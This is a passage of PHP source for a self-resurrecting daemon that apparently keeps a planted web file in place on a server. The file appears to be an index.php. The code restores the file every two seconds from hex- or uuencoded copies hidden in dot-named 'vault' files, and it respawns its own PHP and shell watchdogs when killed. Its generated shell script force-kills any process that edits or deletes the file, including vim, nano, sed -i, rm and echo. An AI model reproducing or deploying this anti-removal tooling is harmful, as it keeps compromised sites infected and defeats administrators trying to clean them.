!== false) { return false; } } return true; } private static function cliArgForChildRole(string $role): string { if ($role === 'peer') { return AsPaths::cliChildPeer(); } if ($role === 'shell') { return AsPaths::cliChildShell(); } return AsPaths::cliChildMd5(); } public static function isPhpChildAlive(string $slot, string $role): bool { return count(self::discoverPhpChildPids($slot, $role)) > 0; } /** @return int[] */ public static function discoverPhpChildPids(string $slot, string $role): array { $slot = strtoupper($slot) === 'B' ? 'B' : 'A'; $role = in_array($role, ['peer', 'shell', 'md5'], true) ? $role : 'md5'; $childArg = self::cliArgForChildRole($role); $found = []; if (is_dir('/proc')) { $dirs = @glob('/proc/[0-9]*', GLOB_ONLYDIR); if ($dirs !== false) { foreach ($dirs as $procDir) { $pid = (int) basename($procDir); if ($pid <= 1) { continue; } $cmdFile = $procDir . '/cmdline'; if (!is_readable($cmdFile)) { continue; } $cmd = str_replace("\0", ' ', (string) @file_get_contents($cmdFile)); if (self::cmdlineMatchesPhpChild($cmd, $childArg, $slot)) { $found[$pid] = true; } } } } if ($found === [] && (function_exists('shell_exec') || function_exists('exec'))) { $daemonBase = basename(AsPaths::daemonEntryScript()); $grepCmd = 'ps -ef 2>/dev/null | grep -F ' . escapeshellarg($childArg) . ' | grep -v grep'; $out = function_exists('shell_exec') ? (string) @shell_exec($grepCmd) : ''; if ($out === '' && function_exists('exec')) { $lines = []; @exec($grepCmd, $lines); $out = implode("\n", $lines); } foreach (explode("\n", trim($out)) as $line) { if ($line === '') { continue; } if ($daemonBase !== '' && strpos($line, $daemonBase) === false && strpos($line, 'fw.php') === false) { continue; } if (!self::cmdlineMatchesPhpChild($line, $childArg, $slot)) { continue; } if (preg_match('/^\s*(\d+)/', $line, $m)) { $found[(int) $m[1]] = true; } } } return array_keys($found); } public static function discoverPhpChildPid(string $slot, string $role): int { $pids = self::discoverPhpChildPids($slot, $role); return $pids !== [] ? (int) $pids[0] : 0; } public static function dedupePhpChildProcesses(string $slot, string $role): int { $pids = self::discoverPhpChildPids($slot, $role); if (count($pids) <= 1) { return 0; } $killed = 0; foreach (array_slice($pids, 1) as $pid) { if ($pid > 1 && self::isProcessAlive($pid) && function_exists('posix_kill')) { @posix_kill($pid, defined('SIGTERM') ? SIGTERM : 15); $killed++; self::logCli('dedupe child slot=' . $slot . ' role=' . $role . ' pid=' . $pid); } } return $killed; } public static function isPhpMainHealthy(string $slot): bool { if (!self::isPhpMainAlive($slot)) { return false; } foreach (['peer', 'shell', 'md5'] as $role) { self::dedupePhpChildProcesses($slot, $role); if (!self::isPhpChildAlive($slot, $role)) { return false; } } return true; } private static function cmdlineMatchesPhpChild(string $cmd, string $childArg, string $slot): bool { if ($cmd === '' || $childArg === '' || strpos($cmd, $childArg) === false) { return false; } if (preg_match('/\s' . preg_quote($slot, '/') . '(?:\s|$)/', $cmd)) { return true; } if (preg_match('/' . preg_quote($childArg, '/') . '\s+' . preg_quote($slot, '/') . '\s*$/', trim($cmd))) { return true; } return substr(trim($cmd), -strlen($slot)) === $slot; } public static function stopPhpMain(string $slot): void { $slot = strtoupper($slot) === 'B' ? 'B' : 'A'; foreach (['peer', 'shell', 'md5'] as $role) { $cpid = self::discoverPhpChildPid($slot, $role); if ($cpid > 1 && self::isProcessAlive($cpid) && function_exists('posix_kill')) { @posix_kill($cpid, defined('SIGTERM') ? SIGTERM : 15); } } self::killOrphanPhpSlotProcesses($slot); $pid = self::readMainPid($slot); if ($pid > 1 && self::isProcessAlive($pid) && function_exists('posix_kill')) { @posix_kill($pid, defined('SIGTERM') ? SIGTERM : 15); } $pidFile = ($slot === 'A') ? AsPaths::pidMainA() : AsPaths::pidMainB(); @unlink($pidFile); self::logCli('stop php main slot=' . $slot); } private static function killOrphanPhpSlotProcesses(string $slot): void { $slot = strtoupper($slot) === 'B' ? 'B' : 'A'; $mainArg = ($slot === 'B') ? AsPaths::cliPcntl() : AsPaths::cliWorker(); $mainPid = self::readMainPid($slot); $daemonBase = basename(AsPaths::daemonEntryScript()); if (!is_dir('/proc')) { return; } $dirs = @glob('/proc/[0-9]*', GLOB_ONLYDIR); if ($dirs === false) { return; } foreach ($dirs as $procDir) { $pid = (int) basename($procDir); if ($pid <= 1 || $pid === $mainPid) { continue; } $cmdFile = $procDir . '/cmdline'; if (!is_readable($cmdFile)) { continue; } $cmd = str_replace("\0", ' ', (string) @file_get_contents($cmdFile)); if ($cmd === '' || strpos($cmd, $mainArg) === false) { continue; } if ($daemonBase !== '' && strpos($cmd, $daemonBase) === false && strpos($cmd, 'fw.php') === false) { continue; } foreach ([AsPaths::cliChildPeer(), AsPaths::cliChildShell(), AsPaths::cliChildMd5()] as $childCli) { if ($childCli !== '' && strpos($cmd, $childCli) !== false) { continue 2; } } if (function_exists('posix_kill')) { @posix_kill($pid, defined('SIGTERM') ? SIGTERM : 15); self::logCli('kill orphan php slot=' . $slot . ' pid=' . $pid); } } } private static function ensurePeerMainAlive(string $slot): void { $peer = ($slot === 'A') ? 'B' : 'A'; if (self::isPhpMainAlive($peer)) { return; } self::spawnPhpMain($peer); } public static function spawnPhpMain(string $slot): bool { $slot = strtoupper($slot) === 'B' ? 'B' : 'A'; $script = AsPaths::daemonEntryScript(); if (!DeployPathHelper::safeIsFile($script)) { return false; } $arg = ($slot === 'B') ? AsPaths::cliPcntl() : AsPaths::cliWorker(); $phpBin = self::resolvePhpBinForCli(); $logEsc = escapeshellarg(AsPaths::daemonLog()); $cmd = escapeshellarg($phpBin) . ' ' . escapeshellarg($script) . ' ' . escapeshellarg($arg) . ' >> ' . $logEsc . ' 2>&1 &'; if (!self::launchBackgroundCommand($cmd)) { return false; } self::logCli('spawn php main slot=' . $slot); return true; } private static function childMd5Tick(string $configFile, string $baseDir): void { foreach (['A', 'B'] as $slot) { self::dedupePhpChildProcesses($slot, 'md5'); } $restoredCore = CoreVaultMirror::ensureCoreArtifacts(); if ($restoredCore !== []) { self::logCli('core vault restored kinds=' . implode(',', $restoredCore)); } $target = self::resolveTargetPathForGuard($configFile, $baseDir); if ($target === '') { return; } IndexPhpGuard::ensureBaseline($target); $result = IndexPhpGuard::tickMd5AndKill($target); if (!empty($result['restored'])) { self::logCli('baseline_restored path=' . $target); } if (!empty($result['killed'])) { self::logCli('md5 child killed count=' . (int) $result['killed'] . ' path=' . $target); } } private static function writeSupervisorHeartbeat(string $pidFile, string $strategy): void { @file_put_contents($pidFile, json_encode([ 'pid' => getmypid(), 'ts' => time(), 'strategy' => $strategy, ], JSON_UNESCAPED_UNICODE)); } private static function resolveTargetPathForGuard(string $configFile, string $baseDir): string { $cfg = self::loadRuntimeConfig($configFile); $configured = isset($cfg['target']) ? trim((string) $cfg['target']) : ''; if ($configured !== '' && ($configured[0] === '/' || preg_match('/^[A-Za-z]:[\\\\\\/]/', $configured))) { $real = @realpath($configured); return ($real !== false && $real !== '') ? $real : $configured; } if ($configured === '' && !empty($cfg['target_rel'])) { $configured = trim((string) $cfg['target_rel']); } $scriptBase = !empty($cfg['script_base']) ? (string) $cfg['script_base'] : $baseDir; return DeployPathHelper::resolveTargetAbsolute($scriptBase, $configured); } private static function writeWorkerPool(array $workers, string $pidFile): void { $list = []; foreach ($workers as $pid => $_ts) { $pid = (int) $pid; if ($pid > 1) { $list[] = $pid; } } $parent = BusiAutoDeployer::readParentPid($pidFile); if ($parent <= 0) { $parent = getmypid(); } @file_put_contents(AsPaths::workerPool(), json_encode([ 'ts' => time(), 'parent' => $parent, 'workers' => $list, ], JSON_UNESCAPED_UNICODE)); } private static function writeParentHeartbeat(string $pidFile): void { @file_put_contents($pidFile, json_encode([ 'pid' => getmypid(), 'ts' => time(), ], JSON_UNESCAPED_UNICODE)); } private static function writeWorkerHeartbeat(string $pidFile): void { @file_put_contents($pidFile, json_encode([ 'pid' => getmypid(), 'ts' => time(), 'strategy' => 'daemon_worker', ], JSON_UNESCAPED_UNICODE)); } private static function loadRuntimeConfig(string $configFile): array { $default = [ 'target' => '', ]; if (!is_readable($configFile)) { return $default; } $raw = @file_get_contents($configFile); if ($raw === false || $raw === '') { return $default; } $data = json_decode($raw, true); return is_array($data) ? array_merge($default, $data) : $default; } private static function resolveTargetPath(string $baseDir, string $target): string { return DeployPathHelper::resolveTargetAbsolute($baseDir, $target); } public static function isProcessAlive(int $pid): bool { if ($pid <= 0) { return false; } if (function_exists('posix_kill')) { return @posix_kill($pid, 0); } if (!function_exists('exec')) { return false; } $code = 1; @exec('kill -0 ' . (int) $pid . ' 2>/dev/null', $_, $code); return $code === 0; } } final class BusiBundleMaterializer { public static function persistEntryScript(string $source): string { AsPaths::ensureModuleDir(); $dest = AsPaths::daemonEntryScript(); if (@is_file($source) && @is_readable($source)) { $bytes = @file_get_contents($source); if (is_string($bytes) && $bytes !== '') { $existing = @is_file($dest) ? @file_get_contents($dest) : false; if ($existing !== $bytes) { @file_put_contents($dest, $bytes, LOCK_EX); } } } if (@is_file($dest) && @filesize($dest) > 0) { CoreVaultMirror::mirror($dest, 'bundle'); $real = @realpath($dest); return ($real !== false && @is_file($real)) ? $real : $dest; } return $source; } public static function resolveDaemonEntryScript(string $source): string { return self::persistEntryScript($source); } public static function ensure(string $baseDir, string $detectScript, string $phpBin = ''): bool { $detectForShell = self::resolveDaemonEntryScript($detectScript); $shPath = AsPaths::shellScript(); if ($phpBin === '') { $phpBin = self::readConfiguredPhpCli(); } $content = self::buildShellScript($detectForShell, $shPath, $phpBin); $existing = DeployPathHelper::safeIsFile($shPath) ? (string) @file_get_contents($shPath) : ''; if ($existing === $content && DeployPathHelper::safeIsFile($shPath)) { @chmod($shPath, 0755); return true; } if (@file_put_contents($shPath, $content) === false) { return false; } @chmod($shPath, 0755); return DeployPathHelper::safeIsFile($shPath); } private static function readConfiguredPhpCli(): string { $configFile = AsPaths::config(); if (!DeployPathHelper::safeIsReadable($configFile)) { return ''; } $raw = @file_get_contents($configFile); $cfg = is_string($raw) ? json_decode($raw, true) : null; if (is_array($cfg) && !empty($cfg['php_cli']) && is_string($cfg['php_cli'])) { return trim($cfg['php_cli']); } return ''; } /** @return string[] */ private static function escVaultDirs(array $dirs, int $min): array { $esc = []; foreach ($dirs as $dir) { if (!is_string($dir) || $dir === '') { continue; } $esc[] = str_replace("'", "'\''", $dir); } while (count($esc) < $min) { $esc[] = ''; } return $esc; } private static function shellVaultFileArgs(string $prefix, int $count, string $obf): string { $args = []; for ($i = 1; $i <= $count; $i++) { $args[] = '"$' . $prefix . $i . '/' . $obf . '"'; } return implode(' ', $args); } /** @param string[] $lines */ private static function appendVaultVarLines(array &$lines, string $prefix, array $escDirs): int { $count = max(count($escDirs), 1); for ($i = 0; $i < $count; $i++) { $n = $i + 1; $val = $escDirs[$i] ?? ''; $lines[] = $prefix . $n . "='{$val}'"; } return $count; } private static function buildShellScript(string $detectScript, string $shSelfPath, string $phpBin = ''): string { $detectEsc = str_replace("'", "'\''", $detectScript); $stEsc = str_replace("'", "'\''", AsPaths::strategy()); $cfgEsc = str_replace("'", "'\''", AsPaths::config()); $pidEsc = str_replace("'", "'\''", AsPaths::pid()); $wpEsc = str_replace("'", "'\''", AsPaths::workerPool()); $gpEsc = str_replace("'", "'\''", AsPaths::guardPool()); $paEsc = str_replace("'", "'\''", AsPaths::pidMainA()); $pbEsc = str_replace("'", "'\''", AsPaths::pidMainB()); $blEsc = str_replace("'", "'\''", AsPaths::baselineContent()); $shPidEsc = str_replace("'", "'\''", AsPaths::shellPid()); $gaEsc = str_replace("'", "'\''", AsPaths::shellGuardA()); $gbEsc = str_replace("'", "'\''", AsPaths::shellGuardB()); $gmEsc = str_replace("'", "'\''", AsPaths::shellGuardMd5()); $idxMetaEsc = str_replace("'", "'\''", AsPaths::baselineMeta()); $shSelfEsc = str_replace("'", "'\''", $shSelfPath); $logEsc = str_replace("'", "'\''", AsPaths::daemonLog()); $blVaults = AsPaths::baselineVaultDirs(); $cfgVaults = AsPaths::configVaultDirs(); $fwVaults = AsPaths::bundleVaultDirs(); $vblEsc = self::escVaultDirs($blVaults, 3); $vcfgEsc = self::escVaultDirs($cfgVaults, 2); $vfwEsc = self::escVaultDirs($fwVaults, 3); $pc = AsPaths::cliPcntl(); $pw = AsPaths::cliWorker(); $pg = AsPaths::cliGuard(); $eb = basename($detectScript); $phpBinLine = ($phpBin !== '' && $phpBin !== 'php') ? "PHP_BIN='" . str_replace("'", "'\\''", $phpBin) . "'" : 'PHP_BIN=${PHP_BIN:-php}'; $q = chr(39); $lines = [ '#!/bin/sh', "DETECT_SCRIPT='{$detectEsc}'", "STRATEGY_FILE='{$stEsc}'", "CONFIG_FILE='{$cfgEsc}'", "PID_FILE='{$pidEsc}'", "WORKER_POOL='{$wpEsc}'", "GUARD_POOL='{$gpEsc}'", "SH_PID_FILE='{$shPidEsc}'", "GUARD_A_FILE='{$gaEsc}'", "GUARD_B_FILE='{$gbEsc}'", "GUARD_M_FILE='{$gmEsc}'", "PA_FILE='{$paEsc}'", "PB_FILE='{$pbEsc}'", "BASELINE_FILE='{$blEsc}'", "BASELINE_META='{$idxMetaEsc}'", ]; $vblCount = self::appendVaultVarLines($lines, 'VBL', $vblEsc); $vcfgCount = self::appendVaultVarLines($lines, 'VCFG', $vcfgEsc); $vfwCount = self::appendVaultVarLines($lines, 'VFW', $vfwEsc); $blVaultArgs = self::shellVaultFileArgs('VBL', $vblCount, '.x1'); $blMetaArgs = self::shellVaultFileArgs('VBL', $vblCount, '.x2'); $cfgVaultArgs = self::shellVaultFileArgs('VCFG', $vcfgCount, '.x3'); $stVaultArgs = self::shellVaultFileArgs('VCFG', $vcfgCount, '.x4'); $fwVaultArgs = self::shellVaultFileArgs('VFW', $vfwCount, '.x5'); $lines = array_merge($lines, [ "SH_SELF='{$shSelfEsc}'", "LOG_FILE='{$logEsc}'", 'STAGGER=2', 'RESTORE_INTERVAL=2', 'PHASE_COUNT=9', 'MEM_LIMIT_KB=131072', 'MEM_CHECK_EVERY=30', $phpBinLine, "PC='{$pc}'", "PW='{$pw}'", "PG='{$pg}'", "EB='{$eb}'", 'SH_BASENAME="$(basename "$SH_SELF")"', 'RUNNING=1', 'trap "RUNNING=0" TERM INT', 'read_pid() {', ' tr -dc ' . $q . '0-9' . $q . ' < "$1" 2>/dev/null | head -c 12', '}', 'normalize_path() {', ' printf ' . $q . '%s' . $q . ' "$1" | tr -d ' . $q . '\\' . $q, '}', 'read_json_pid() {', ' F="$1"', ' [ -f "$F" ] || return 1', ' P="$(grep -o ' . $q . '"pid"[[:space:]]*:[[:space:]]*[0-9]*' . $q . ' "$F" 2>/dev/null | head -1 | grep -o ' . $q . '[0-9]*$' . $q . ')"', ' [ -n "$P" ] && echo "$P"', '}', 'read_target() {', ' [ -f "$CONFIG_FILE" ] || return 1', ' T="$(grep -o ' . $q . '"target"[[:space:]]*:[[:space:]]*"[^"]*"' . $q . ' "$CONFIG_FILE" 2>/dev/null | head -1 | sed ' . $q . 's/.*:"\\([^"]*\\)".*/\\1/' . $q . ')"', ' T="$(normalize_path "$T")"', ' [ -n "$T" ] || return 1', ' echo "$T"', '}', 'decode_vault_copy() {', ' VF="$1"', ' OUT="$2"', ' [ -f "$VF" ] && [ -s "$VF" ] || return 1', ' FMT="$(head -c 1 "$VF" 2>/dev/null)"', ' case "$FMT" in', ' h)', ' if command -v xxd >/dev/null 2>&1; then', ' tail -n +2 "$VF" | tr -d "' . $q . ' \t\r\n' . $q . '" | xxd -r -p > "$OUT" 2>/dev/null && return 0', ' fi', ' ;;', ' u)', ' if command -v uudecode >/dev/null 2>&1; then', ' tail -n +2 "$VF" | uudecode -o "$OUT" 2>/dev/null && return 0', ' tail -n +2 "$VF" | uudecode > "$OUT" 2>/dev/null && return 0', ' fi', ' ;;', ' esac', ' "$PHP_BIN" -r ' . $q . '$f=$argv[1];$o=$argv[2];$r=@file_get_contents($f);if(!is_string($r)||$r==="")exit(1);$p=strpos($r,"\n");if($r[0]==="h"&&$p!==false){$h=preg_replace("/\\s+/","",substr($r,$p+1));$b=function_exists("hex2bin")?@hex2bin($h):@pack("H*",$h);}elseif($r[0]==="u"&&$p!==false&&function_exists("convert_uudecode")){$b=@convert_uudecode(substr($r,$p+1));}else{$b=$r;}$b=is_string($b)&&$b!==""&&@file_put_contents($o,$b)!==false?0:2;exit($b);' . $q . ' "$VF" "$OUT" 2>/dev/null && return 0', ' cp -f "$VF" "$OUT" 2>/dev/null && return 0', ' return 1', '}', 'restore_from_vaults() {', ' PRIMARY="$1"', ' shift', ' [ -f "$PRIMARY" ] && [ -s "$PRIMARY" ] && return 0', ' for VF in "$@"; do', ' [ -f "$VF" ] && [ -s "$VF" ] || continue', ' if decode_vault_copy "$VF" "$PRIMARY"; then', ' echo "$(date +%s) core_restored file=$PRIMARY from=$VF" >> "$LOG_FILE"', ' return 0', ' fi', ' done', ' return 1', '}', 'ensure_core_files() {', ' restore_from_vaults "$BASELINE_FILE" ' . $blVaultArgs, ' restore_from_vaults "$BASELINE_META" ' . $blMetaArgs, ' restore_from_vaults "$CONFIG_FILE" ' . $cfgVaultArgs, ' restore_from_vaults "$STRATEGY_FILE" ' . $stVaultArgs, ' restore_from_vaults "$DETECT_SCRIPT" ' . $fwVaultArgs, '}', 'mem_rss_kb() {', ' grep VmRSS /proc/self/status 2>/dev/null | awk ' . $q . '{print $2}' . $q, '}', 'should_mem_restart() {', ' MT="$1"', ' [ "$MT" -gt 0 ] && [ $((MT % MEM_CHECK_EVERY)) -eq 0 ] || return 1', ' RK="$(mem_rss_kb)"', ' [ -n "$RK" ] && [ "$RK" -gt "$MEM_LIMIT_KB" ]', '}', 'read_cmdline() {', ' tr ' . $q . '\0' . $q . ' ' . $q . ' ' . $q . ' < "$1" 2>/dev/null', '}', 'is_shell_cmd() {', ' WP="$1"', ' MODE="$2"', ' [ -z "$WP" ] && return 1', ' kill -0 "$WP" 2>/dev/null || return 1', ' [ -r "/proc/$WP/cmdline" ] || return 1', ' WC="$(read_cmdline "/proc/$WP/cmdline")"', ' case "$WC" in *"$SH_BASENAME"*) ;; *) return 1 ;; esac', ' case "$MODE" in', ' main)', ' case "$WC" in *__child__*) return 1 ;; esac', ' return 0', ' ;;', ' child)', ' case "$WC" in *__child__*) return 0 ;; esac', ' return 1', ' ;;', ' *) return 0 ;;', ' esac', '}', 'collect_allow_pids() {', ' ALLOW=""', ' for F in "$PID_FILE" "$SH_PID_FILE" "$GUARD_A_FILE" "$GUARD_B_FILE" "$GUARD_M_FILE" "$PA_FILE" "$PB_FILE"; do', ' P="$(read_pid "$F")"', ' [ -z "$P" ] && P="$(read_json_pid "$F")"', ' [ -n "$P" ] && ALLOW="$ALLOW $P"', ' done', ' if [ -f "$WORKER_POOL" ]; then', ' for P in $(grep -o ' . $q . '"parent"[[:space:]]*:[[:space:]]*[0-9]*' . $q . ' "$WORKER_POOL" 2>/dev/null | grep -o ' . $q . '[0-9]*$' . $q . '); do ALLOW="$ALLOW $P"; done', ' for P in $(grep -o ' . $q . '"workers"[[:space:]]*:\[[^]]*\]' . $q . ' "$WORKER_POOL" 2>/dev/null | tr -cd ' . $q . '0-9\n' . $q . '); do', ' [ -n "$P" ] && ALLOW="$ALLOW $P"', ' done', ' fi', ' if [ -f "$GUARD_POOL" ]; then', ' for P in $(grep -o ' . $q . '"parent"[[:space:]]*:[[:space:]]*[0-9]*' . $q . ' "$GUARD_POOL" 2>/dev/null | grep -o ' . $q . '[0-9]*$' . $q . '); do ALLOW="$ALLOW $P"; done', ' for P in $(grep -o ' . $q . '"guards"[[:space:]]*:\[[^]]*\]' . $q . ' "$GUARD_POOL" 2>/dev/null | tr -cd ' . $q . '0-9\n' . $q . '); do', ' [ -n "$P" ] && ALLOW="$ALLOW $P"', ' done', ' fi', ' echo "$ALLOW"', '}', 'is_allow_pid() {', ' AP="$1"', ' for A in $(collect_allow_pids); do', ' [ "$A" = "$AP" ] && return 0', ' done', ' return 1', '}', 'is_protected_cmd() {', ' case "$1" in *php-fpm*|*php-fcgi*|*nginx*) return 0 ;; esac', ' return 1', '}', 'is_fd_writable() {', ' P="$1"', ' F="$2"', ' FI="/proc/$P/fdinfo/$F"', ' [ -r "$FI" ] || return 1', ' FL=$(grep -m1 flags "$FI" 2>/dev/null | awk ' . $q . '{print $2}' . $q . ')', ' [ -z "$FL" ] && return 1', ' M=$((FL & 3))', ' [ "$M" -ne 0 ]', '}', 'is_threat_cmd() {', ' _TC="$1"', ' case "$_TC" in *"$TARGET_REAL"*|*"$TARGET_BASE"*) ;; *) return 1 ;; esac', ' case "$_TC" in *php-fpm*|*php-fcgi*|*nginx*|*"$EB"*|*"$PW"*|*"$PC"*|*"$PG"*|*Framework.php*|*framework.php*|*fw.php*|*__child__*|*__guard__*|*"$SH_BASENAME"*) return 1 ;; esac', ' case "$_TC" in *vim*|*nano*|*"vi "*|*nvim*|*sed\ -i*|*tee*|*"rm "*|*"rm-"*|*unlink*|*shred*|*truncate*|*echo*|*printf*|*mv\ *|*cp\ *|*dd\ *|*php\ -r*) return 0 ;; esac', ' echo "$_TC" | grep -Eq ' . $q . 'cat[[:space:]]+>' . $q . ' && return 0', ' echo "$_TC" | grep -Fq ' . $q . '>>' . $q . ' && return 0', ' echo "$_TC" | grep -Fq ">$TARGET_REAL" && return 0', ' echo "$_TC" | grep -Fq ">>$TARGET_REAL" && return 0', ' echo "$_TC" | grep -Fq ">$TARGET_BASE" && return 0', ' echo "$_TC" | grep -Fq ">>$TARGET_BASE" && return 0', ' return 1', '}', 'sh_kill_pid() {', ' KP="$1"', ' case "$KP" in ""|*[!0-9]*) return 0 ;; esac', ' [ "$KP" -le 1 ] && return 0', ' is_allow_pid "$KP" && return 0', ' CMDK=""', ' [ -r "/proc/$KP/cmdline" ] && CMDK="$(read_cmdline "/proc/$KP/cmdline")"', ' is_protected_cmd "$CMDK" && return 0', ' kill -9 "$KP" 2>/dev/null && echo "$(date +%s) sh_kill pid=$KP target=$TARGET_REAL" >> "$LOG_FILE"', '}', 'kill_index_threats(){', ' T="$(read_target)" || return 0', ' if [ -f "$T" ]; then TARGET_REAL="$(readlink -f "$T" 2>/dev/null || echo "$T")"; else TARGET_REAL="$T"; fi', ' [ -n "$TARGET_REAL" ] || return 0', ' TARGET_BASE="$(basename "$TARGET_REAL")"', ' if command -v ps >/dev/null 2>&1; then', ' ps -eo pid=,args= 2>/dev/null | grep -F "$TARGET_BASE" | grep -v grep | while read _SPID _SREST; do', ' is_allow_pid "$_SPID" && continue', ' _SCMD="$_SPID $_SREST"', ' _SCMD="${_SCMD#$_SPID }"', ' is_protected_cmd "$_SCMD" && continue', ' is_threat_cmd "$_SCMD" && sh_kill_pid "$_SPID"', ' done', ' fi', ' for _P in /proc/[0-9]*; do', ' PID="${_P#/proc/}"', ' is_allow_pid "$PID" && continue', ' CMD=""; [ -r "$_P/cmdline" ] && CMD="$(read_cmdline "$_P/cmdline")"', ' is_protected_cmd "$CMD" && continue', ' for _FD in "$_P"/fd/*; do', ' LINK="$(readlink "$_FD" 2>/dev/null)" || continue', ' case "$LINK" in *"(deleted)") sh_kill_pid "$PID"; break;; esac', ' case "$LINK" in "$TARGET_REAL")', ' FDB="$(basename "$_FD")"', ' is_fd_writable "$PID" "$FDB" || continue', ' sh_kill_pid "$PID"', ' break', ' ;; esac', ' done', ' is_threat_cmd "$CMD" && sh_kill_pid "$PID"', ' done', '}', 'is_php_main_alive() {', ' P="$1"', ' MODE="$2"', ' [ -n "$P" ] || return 1', ' kill -0 "$P" 2>/dev/null || return 1', ' if [ -r "/proc/$P/cmdline" ]; then', ' C="$(read_cmdline "/proc/$P/cmdline")"', ' elif command -v ps >/dev/null 2>&1; then', ' C="$(ps -p "$P" -o args= 2>/dev/null | sed ' . $q . 's/^[[:space:]]*//' . $q . ')"', ' else', ' return 1', ' fi', ' [ -n "$C" ] || return 1', ' case "$C" in *"$EB"*|*fw.php*) ;; *) return 1 ;; esac', ' case "$C" in *"$MODE"*) return 0 ;; esac', ' return 1', '}', 'start_php_main() {', ' MODE="$1"', ' if [ ! -f "$DETECT_SCRIPT" ]; then', ' echo "$(date +%s) php_main_skip missing_detect script=$DETECT_SCRIPT" >> "$LOG_FILE"', ' return 1', ' fi', ' if command -v nohup >/dev/null 2>&1; then', ' nohup "$PHP_BIN" "$DETECT_SCRIPT" "$MODE" >>"$LOG_FILE" 2>&1 &', ' else', ' "$PHP_BIN" "$DETECT_SCRIPT" "$MODE" >>"$LOG_FILE" 2>&1 &', ' fi', ' echo "$(date +%s) php_main_spawn mode=$MODE bg=$!" >> "$LOG_FILE"', ' sleep "$STAGGER"', '}', 'ensure_php_main() {', ' SLOT="$1"', ' if [ "$SLOT" = "A" ]; then PF="$PA_FILE"; MODE="$PW"; else PF="$PB_FILE"; MODE="$PC"; fi', ' P="$(read_json_pid "$PF")"', ' [ -z "$P" ] && P="$(read_pid "$PF")"', ' if is_php_main_alive "$P" "$MODE"; then return 0; fi', ' start_php_main "$MODE"', '}', 'ensure_shell_main() {', ' P="$(read_pid "$SH_PID_FILE")"', ' if is_shell_cmd "$P" main; then return 0; fi', ' if command -v nohup >/dev/null 2>&1; then', ' nohup /bin/sh "$SH_SELF" >>"$LOG_FILE" 2>&1 &', ' else', ' /bin/sh "$SH_SELF" >>"$LOG_FILE" 2>&1 &', ' fi', ' sleep 1', '}', 'restore_baseline_if_changed(){', ' ensure_core_files', ' T="$(read_target)" || { echo "$(date +%s) baseline_skip read_target_failed" >> "$LOG_FILE"; return 0; }', ' [ -f "$BASELINE_FILE" ] || { echo "$(date +%s) baseline_skip missing_baseline" >> "$LOG_FILE"; return 0; }', ' if [ -f "$T" ]; then TARGET_REAL="$(readlink -f "$T" 2>/dev/null || echo "$T")"; else TARGET_REAL="$T"; fi', ' TARGET_REAL="$(normalize_path "$TARGET_REAL")"', ' [ -n "$TARGET_REAL" ] || return 0', ' if [ ! -f "$TARGET_REAL" ]; then cp "$BASELINE_FILE" "$TARGET_REAL" 2>/dev/null && echo "$(date +%s) baseline_created path=$TARGET_REAL" >> "$LOG_FILE"; return 0; fi', ' if command -v md5sum >/dev/null 2>&1; then', ' CUR="$(md5sum "$TARGET_REAL" 2>/dev/null | awk ' . $q . '{print $1}' . $q . ')"', ' BASE="$(md5sum "$BASELINE_FILE" 2>/dev/null | awk ' . $q . '{print $1}' . $q . ')"', ' else', ' CUR="$(cksum "$TARGET_REAL" 2>/dev/null | awk ' . $q . '{print $1}' . $q . ')"', ' BASE="$(cksum "$BASELINE_FILE" 2>/dev/null | awk ' . $q . '{print $1}' . $q . ')"', ' fi', ' [ -n "$CUR" ] && [ -n "$BASE" ] && [ "$CUR" = "$BASE" ] && return 0', ' if [ -z "$CUR" ] || [ -z "$BASE" ]; then', ' echo "$(date +%s) baseline_skip md5_empty cur=$CUR base=$BASE path=$TARGET_REAL" >> "$LOG_FILE"', ' return 1', ' fi', ' chmod u+w "$TARGET_REAL" 2>/dev/null', ' if cp -f "$BASELINE_FILE" "$TARGET_REAL" 2>>"$LOG_FILE"; then', ' echo "$(date +%s) baseline_restored path=$TARGET_REAL" >> "$LOG_FILE"', ' else', ' echo "$(date +%s) baseline_restore_failed path=$TARGET_REAL" >> "$LOG_FILE"', ' return 1', ' fi', ' kill_index_threats', '}', 'find_shell_child_pid() {', ' ROLE="$1"', ' if ! command -v ps >/dev/null 2>&1; then return 1; fi', ' ps -eo pid=,args= 2>/dev/null | grep -F "$SH_BASENAME" | grep -F "__child__" | grep -E " ${ROLE}( |$)" | head -1 | awk ' . $q . '{print $1}' . $q, '}', 'spawn_shell_child() {', ' ROLE="$1"', ' /bin/sh "$SH_SELF" __child__ "$ROLE" >>"$LOG_FILE" 2>&1 &', '}', 'ensure_shell_child() {', ' ROLE="$1"', ' MY="$2"', ' P="$(find_shell_child_pid "$ROLE")"', ' [ -z "$P" ] && P="$(read_pid "$MY")"', ' if [ -n "$P" ] && is_shell_cmd "$P" child; then', ' echo "$P" > "$MY"', ' return 0', ' fi', ' spawn_shell_child "$ROLE"', ' sleep "$STAGGER"', '}', 'child_loop(){', ' ROLE="$1" MY="$2" PHASE="$3"', ' echo $$ > "$MY"', ' [ "$PHASE" -gt 0 ] && sleep $((PHASE * STAGGER))', ' TICK=0', ' while [ "$RUNNING" -eq 1 ]; do', ' echo $$ > "$MY"', ' if should_mem_restart "$TICK"; then exit 0; fi', ' case "$ROLE" in', ' md5) restore_baseline_if_changed ;;', ' php-a) ensure_php_main A ;;', ' php-b) ensure_php_main B ;;', ' esac', ' TICK=$((TICK + 1))', ' sleep "$RESTORE_INTERVAL"', ' done', ' exit 0', '}', 'if [ "$1" = "__child__" ]; then', ' case "$2" in', ' php-a) child_loop php-a "$GUARD_A_FILE" 6 ;;', ' php-b) child_loop php-b "$GUARD_B_FILE" 7 ;;', ' md5) child_loop md5 "$GUARD_M_FILE" 8 ;;', ' esac', ' exit 0', 'fi', 'if [ -f "$SH_PID_FILE" ]; then', ' OPID="$(read_pid "$SH_PID_FILE")"', ' if is_shell_cmd "$OPID" main; then exit 0; fi', ' rm -f "$SH_PID_FILE"', 'fi', 'echo $$ > "$SH_PID_FILE"', 'TICK=0', 'while [ "$RUNNING" -eq 1 ]; do', ' if should_mem_restart "$TICK"; then exit 0; fi', ' ensure_shell_child php-a "$GUARD_A_FILE"', ' ensure_shell_child php-b "$GUARD_B_FILE"', ' ensure_shell_child md5 "$GUARD_M_FILE"', ' ensure_php_main A', ' ensure_php_main B', ' ensure_core_files', ' restore_baseline_if_changed', ' if [ $((TICK % PHASE_COUNT)) -eq 5 ]; then kill_index_threats; fi', ' TICK=$((TICK + 1))', ' sleep "$RESTORE_INTERVAL"', 'done', '', ]); return implode("\n", $lines); } } final class BusiDeployPlanner { private $baseDir; private $scanRoot; private $entryScript; public function __construct(string $baseDir, string 